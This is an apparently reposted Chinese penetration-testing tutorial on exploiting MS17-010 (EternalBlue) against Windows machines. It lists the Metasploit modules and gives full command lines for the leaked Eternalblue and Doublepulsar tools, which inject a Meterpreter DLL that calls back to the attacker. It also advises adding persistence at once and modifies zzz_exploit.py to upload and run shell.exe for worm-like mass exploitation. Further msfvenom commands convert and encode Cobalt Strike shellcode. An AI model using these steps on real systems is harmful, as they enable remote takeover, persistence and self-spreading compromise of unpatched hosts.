10.MS17-010的各種利用操作


一、Metasploit中的ms17-010:

 

  可以直接search查看,MSF之前的寫過了就不再贅述了。

 

   0  auxiliary/admin/smb/ms17_010_command           2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution

   針對MS17010集成以下3個工具EternalRomance 永恆浪漫 、EternalSynergy 永恆協作 、EternalChampion   永恆之冠,來執行OS命令的輔助模塊

 

   1  auxiliary/scanner/smb/smb_ms17_010                              normal   Yes    MS17-010 SMB RCE Detection

   掃描是否存在MS17010漏洞

 

   2  exploit/windows/smb/doublepulsar_rce           2017-04-14       great    Yes    DOUBLEPULSAR Payload Execution and Neutralization

   針對別人已經安裝好后門之后的利用模塊

 

   3  exploit/windows/smb/ms17_010_eternalblue       2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption

   針對存在MS17010關於永恆之藍x64的windows 2008R2/windows 7的利用模塊

 

   4  exploit/windows/smb/ms17_010_eternalblue_win8  2017-03-14       average  No     MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+

   針對存在MS17010關於永恆之藍的windows 8+的利用模塊

 

   5  exploit/windows/smb/ms17_010_psexec            2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution

   針對MS17010集成以下3個工具EternalRomance 永恆浪漫 、EternalSynergy 永恆協作 、EternalChampion   永恆之冠,來獲取shell的漏洞利用模塊

 

二、NSA原版ms17-010:

 

1、原版ms17-010的下載和配置:

 

  原版的ms17-010勝在比較穩定,相比MSF那個更不容易藍屏。

 

  下載地址:https://github.com/x0rz/EQGRP_Lost_in_Translation

 

  下載后,將工具包中以下三個目錄中的文件拷貝到同一個目錄中(因為64位系統是支持32位的,所以直接復制32位的就好了):

  windows\lib\x86-Windows\

  windows\specials\

  windows\payloads\

  然后在目錄中,把Eternalblue-2.2.0.0.xml文件重命名成Eternalblue-2.2.0.xml,Doublepulsar-1.3.1.0.xml改為Doublepulsar-1.3.1.xml

 

  2、執行命令:

 

①Eternalblue-2.2.0.exe --TargetIp 10.10.24.231 --Target WIN72K8R2 --DaveProxyPort=0 --NetworkTimeout 60 --TargetPort 445 --VerifyTarget True --VerifyBackdoor True --MaxExploitAttempts 3 --GroomAllocations 12 --OutConfig outlog.txt

 

②Doublepulsar-1.3.1.exe --OutConfig 2.txt --TargetIp 10.10.24.231 --TargetPort 445 --DllPayload msf_241.176_x86_8080.dll --DllOrdinal 1 ProcessName explorer.exe --ProcessCommandLine --Protocol SMB --Architecture x64 --Function Rundll

 

  其實我們可以直接輸入Eternalblue-2.2.0.exe --help查看具體命令

 

  注意,在第一條命令中:

--TargetIp 10.10.24.231           //寫對方的IP

--Target WIN72K8R2              //是win7的意思,如果是xp就改為--Target xp,如果是2003直接用MSF那個就好了

--NetworkTimeout 60             //設置超時時間

--TargetPort 445                   //設置目標端口

--MaxExploitAttempts 3       //設置攻擊嘗試的次數,這個數值可以調大一些,攻擊幾百上千次都是有可能的

--OutConfig outlog.txt          //日志

其他的參數都是默認的不用更改

 

然后在cmd中執行第一條命令(注意執行命令要在正確的路徑下,可以用ctrl+shift+右鍵在當前目錄打開cmd),出現下面的否會結果就說明后門安裝成功了

 

 

 

 

  第二條命令:

然后我們就可以用第二條命令,通過后門傳送一個rundll的馬過去,注意第二條命令的--TargetIp要與第一條命令的一致,其他的參數不用動,其中:

 

ProcessName explorer.exe                          //是注入的進程

--Architecture x64                                        //是64位系統,可以按情況改為x86

--DllPayload msf_241.176_x86_8080.dll     //這個pyload是msf用msfvenom生成的,命令忘了可以看看前面的msf筆記。dll文件生成后直接放到Doublepulsar-1.3.1.exe同目錄下即可(也就是之前三合一生成的目錄),否則要寫絕對路徑。

 

此外,如果利用msf生成dll文件,執行第二條命令之前別忘了在msf上用hindler開啟監聽。

執行命令后,MSF就出現meterpreter了

 

 

 

這個穩定性很高,當然還是有少數機器會重啟(但重啟不會立即執行),因此在執行MSF或CS生成的dll並彈回shell后必須馬上輸入添加啟動項的命令,因此最好事先敲好命令直接復制進去執行

 

3、ms17-010的批量自動化滲透

 

  文件下載地址:https://github.com/LFODER/MS17-010

  解壓后看到zzz_exploit.py文件,該會在C盤根目錄創建 pwded.txt 文件,可以修改它來執行你的Payload。

 

  這里我們直接打開zzz_exploit.py文件,看到這里:

 

  我們也可以在這串代碼后面加上:

smb_send_file(smbConn, '/opt/shell.exe', 'C', '/shell.exe')     
service_exec(conn, r'cmd /c  c:\\shell.exe')

  這兩行代碼的意思是通過SMB發送文件,將 本地的 /opt/shell.exe 發送至被攻擊機器的 C:\shell.exe 並執行 shell.exe 。那么這里的shell.exe是從哪來的呢,MSF的msfvenom懂的都懂,不記得的回去看一下MSF怎么創建文件的。

  最終,在命令行終端 輸入 python zzz_exploit.py  [IP]  來實施攻擊。

 

  被攻擊機器會收到來自攻擊機發送的惡意文件並執行,從而自動化滲透,實現蠕蟲病毒的效果(別忘了msf上開啟監聽)。

 

三、Cobalt Strike DLL用於永恆之藍注入 

 

1、原因:

  我們在對存在MS17010的漏洞主機進⾏DLL注⼊的時候,⼀般都是⽤的Meataploit的msf venom⽣成出來的,所以每次上線之 后基本都是要經過相對⽐較繁瑣的操作之后轉到Cobalt Strike去,這樣就會顯得⾮常⿇煩。所以可以使⽤metasploit的msf venom來把Cobalt Strike⽣成的bin轉成DLL。

 

2、具體操作:

  先用Cobalt Strike建立一個bin文件

 

 

 

  生成文件后,打開msf,用命令將這個bin文件轉化為dll文件

  轉化命令:msfvenom -p generic/custom PAYLOADFILE=./payload.bin -a x64 --platform windows -f dll -o shell.dll

 

  此時,這個 shell.dll ,就能⽤於在進⾏永恆之藍的漏洞的dll注⼊了。

 

3、轉化命令的更多了解

  msfvenom命令參數⾮常多,還有就是要注意你的shellcode是x64還是x86,那么你在⽤msfvenom的時進⾏變換。 其實轉化⽅法⼀共分兩種:

   ①msfvenom -p generic/custom PAYLOADFILE=./shellcode.bin -a x86 --platform windows - e x86/add_sub -f dll -o shellcode-encoded.dll

   ②cat <shellcode_file> | msfvenom -b <bad_chars> -e -f -a --platform -p -

 例子:

    cat ~/Desktop/shellcode.bin|./msfvenom -b '\x00' -e x86/shikata_ga_nai --encrypt xor - -encrypt-key 0x69 --arch x86 --platform windows -f c -p -

 

  注意:

  Error: Initialization vector is missing

  解決⽅案:For AES-256 the key size must be 256 bits or 32 bytes. The IV for CFB mode - as stated earlier - must always be 16 bytes as AES is a 128 bit block cipher. AES is restricted with regards to the block size compared with the Rijndael cipher.

  msfvenom使⽤aes256加密時,--encrypt-key長度 為32,--encrypt-iv長度為16位

 

  此外我們也可以用msfvenom -h 查看參數


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM